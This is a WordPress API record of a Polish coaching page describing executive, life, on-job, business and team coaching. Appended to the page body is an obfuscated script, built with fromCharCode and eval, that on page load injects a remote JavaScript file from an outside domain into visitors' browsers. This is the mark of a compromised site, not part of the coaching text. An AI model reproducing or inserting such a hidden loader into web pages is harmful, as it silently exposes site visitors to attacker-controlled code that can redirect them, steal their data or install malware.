{"id":69,"date":"2017-03-01T17:36:22","date_gmt":"2017-03-01T16:36:22","guid":{"rendered":"http:\/\/darekniedzieski.pl\/o-coachingu\/"},"modified":"2017-03-01T17:36:22","modified_gmt":"2017-03-01T16:36:22","slug":"o-coachingu","status":"publish","type":"page","link":"https:\/\/darekniedzieski.pl\/index.php\/o-coachingu\/","title":{"rendered":"Coaching"},"content":{"rendered":"<p><strong>Zgodnie z definicj\u0105 International Coach Federation (ICF), najwi\u0119kszego og\u00f3lno\u015bwiatowego stowarzyszenia profesjonalnych coach\u00f3w, coaching to interaktywny proces, kt\u00f3ry ma na celu pomoc pojedynczym osobom b\u0105d\u017a organizacjom w przyspieszeniu tempa ich rozwoju i polepszeniu efekt\u00f3w ich dzia\u0142ania.<\/strong><\/p>\n<p>Istnieje wiele odmian coachingu, zale\u017cnie od grupy, do kt\u00f3rej jest adresowany, stawianych cel\u00f3w, potrzeb klient\u00f3w. W mojej\u00a0pracy stosuj\u0119 nast\u0119puj\u0105ce rodzaje coachingu:<\/p>\n<h3><strong>Executive coaching<\/strong><\/h3>\n<blockquote><p>Executive coaching &#8211; kierowany do os\u00f3b znajduj\u0105cych si\u0119 na najwy\u017cszym szczeblu organizacji. Celem executive coachingu jest indywidualny rozw\u00f3j wy\u017cszej kadry zarz\u0105dzaj\u0105cej, podniesienie jej efektywno\u015bci osobistej, oraz rozwoju jej umiej\u0119tno\u015bci przyw\u00f3dczych. Jest to forma coachingu adresowana do wszystkich, kt\u00f3rzy poszukuj\u0105 zindywidualizowanych form w\u0142asnego rozwoju. Ka\u017cdy lider ma inne do\u015bwiadczenie, znajduje si\u0119 na innym etapie swojego rozwoju zawodowego. Dlatego te\u017c ka\u017cdy przypadek rozpatrujemy jako wyj\u0105tkowy, wymagaj\u0105cy indywidualnego podej\u015bcia i unikalnych rozwi\u0105za\u0144, dostosowanych precyzyjnie do potrzeb i oczekiwa\u0144 klienta. Zwykle nasi klienci koncentruj\u0105 si\u0119 na rozwoju swoich umiej\u0119tno\u015bci przyw\u00f3dczych, tworzenia wizji rozwoju organizacji oraz umiej\u0119tno\u015bci doboru sojusznik\u00f3w pozwalaj\u0105cych t\u0119 wizj\u0119 realizowa\u0107.<\/p><\/blockquote>\n<h3><strong>Life coaching<\/strong><\/h3>\n<blockquote><p>Life coaching jest procesem, w kt\u00f3rym celem klient\u00f3w jest podniesienie jako\u015bci ich \u017cycia w najwa\u017cniejszych obszarach: r\u00f3wnowagi miedzy prac\u0105 a \u017cyciem prywatnym, w obszarach zwi\u0105zk\u00f3w, finans\u00f3w, rodziny, zdrowia i kariery. Life coaching to proces opieraj\u0105cy si\u0119 na serii rozm\u00f3w, kt\u00f3re pomagaj\u0105 klientowi osi\u0105gn\u0105\u0107 oczekiwane rezultaty w \u017cyciu osobistym. Dzi\u0119ki sesjom coachingowym klient odkrywa sw\u00f3j pe\u0142en potencja\u0142 i przekracza wiele stworzonych przez siebie samego barier i innych ogranicze\u0144. To klient okre\u015bla zawsze cel, do kt\u00f3rego d\u0105\u017cy, coach pomaga okre\u015bli\u0107 kierunki rozwoju i zaplanowa\u0107 konkretne dzia\u0142ania.<\/p><\/blockquote>\n<h3><strong>On-job coaching<\/strong><\/h3>\n<blockquote><p>On-job coaching jest form\u0105 coachingu zyskuj\u0105c\u0105 coraz wi\u0119ksz\u0105 popularno\u015b\u0107. Polega on na tym, \u017ce coach towarzyszy klientowi w czasie wype\u0142niania przez niego jego obowi\u0105zk\u00f3w w pracy. Coach obserwuje, jakie klient stosuje strategie zachowa\u0144, jaki ma styl podejmowania decyzji, jak buduje relacje, w jaki spos\u00f3b jest odbierany przez otoczenie. Jest to podstaw\u0105 do przekazania klientowi feedbacku i opracowania na tej podstawie programu zmian. Kolejne sesje s\u0142u\u017c\u0105 do obserwacji, jak te zmiany s\u0105 implementowane i jakie s\u0105 ich rezultaty.<\/p><\/blockquote>\n<h3><strong>Business coaching<\/strong><\/h3>\n<blockquote><p>Business coaching jest g\u0142\u00f3wnie skierowany na pomoc ma\u0142ym i \u015brednim firmom. Klientami s\u0105 zwykle w\u0142a\u015bciciele firm i \u015brednia kadra zarz\u0105dzaj\u0105ca. Proces rozwojowy mo\u017ce by\u0107 ukierunkowany na r\u00f3\u017cne obszary prowadzenia i funkcjonowania biznesu &#8211; dzia\u0142ania operacyjne, planowanie, rozw\u00f3j kadry, wyzwania stoj\u0105ce przed firm\u0105.<\/p><\/blockquote>\n<h3><strong>Coaching zespo\u0142owy i grupowy<\/strong><\/h3>\n<blockquote><p>W odr\u00f3\u017cnieniu od poprzednich form, gdzie klientem by\u0142a osoba indywidualna, tutaj coach pracuje z zespo\u0142em\u00a0pracownik\u00f3w. Zwykle jest stosowany w sytuacji, kiedy firma przechodzi du\u017ce zmiany, gdy z obserwacji wynika, \u017ce wyst\u0119puj\u0105 trudno\u015bci we wsp\u00f3\u0142pracy mi\u0119dzy r\u00f3\u017cnymi dzia\u0142ami b\u0105d\u017a wewn\u0105trz jednego dzia\u0142u. Rol\u0105 coacha jest pomoc w u\u015bwiadomieniu sobie przez zesp\u00f3\u0142\u00a0\u017ar\u00f3de\u0142 r\u00f3\u017cnych dysfunkcji, a nast\u0119pnie pom\u00f3c w budowie przez ten zesp\u00f3\u0142\u00a0planu zmiany.<\/p>\n<p>Coaching grupowy to jednoczesna praca z wi\u0119ksz\u0105\u00a0ilo\u015bci\u0105 klient\u00f3w nad ich, zwykle podobnymi, wyzwaniami. W coachingu grupowym klient dostaje dodatkowo wsparcie od uczestnicz\u0105cej z nim w sesji grupy.<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p><strong>Coaching to metoda osobistego i zawodowego doskonalenia, kt\u00f3rej podstaw\u0105 jest za\u0142o\u017cenie, \u017ce ka\u017cda osoba jest\u00a0w posiadaniu wszelkich zasob\u00f3w niezb\u0119dnych do osi\u0105gania \u017cyciowych cel\u00f3w. Trzeba tylko nauczy\u0107 si\u0119 te zasoby odnajdywa\u0107 i wykorzystywa\u0107. Dzi\u0119ki inwestycji w coaching mo\u017cna zminimalizowa\u0107 ryzyko strat i zwi\u0119kszy\u0107 szanse na sukces<\/strong>.<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Zgodnie z definicj\u0105 International Coach Federation (ICF), najwi\u0119kszego og\u00f3lno\u015bwiatowego stowarzyszenia profesjonalnych coach\u00f3w, coaching to interaktywny proces, kt\u00f3ry ma na celu pomoc pojedynczym osobom b\u0105d\u017a organizacjom w przyspieszeniu tempa ich rozwoju i polepszeniu efekt\u00f3w ich dzia\u0142ania. Istnieje wiele odmian coachingu, zale\u017cnie od grupy, do kt\u00f3rej jest adresowany, stawianych cel\u00f3w, potrzeb klient\u00f3w. W mojej\u00a0pracy stosuj\u0119 nast\u0119puj\u0105ce rodzaje [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/69"}],"collection":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/comments?post=69"}],"version-history":[{"count":0,"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/pages\/69\/revisions"}],"wp:attachment":[{"href":"https:\/\/darekniedzieski.pl\/index.php\/wp-json\/wp\/v2\/media?parent=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}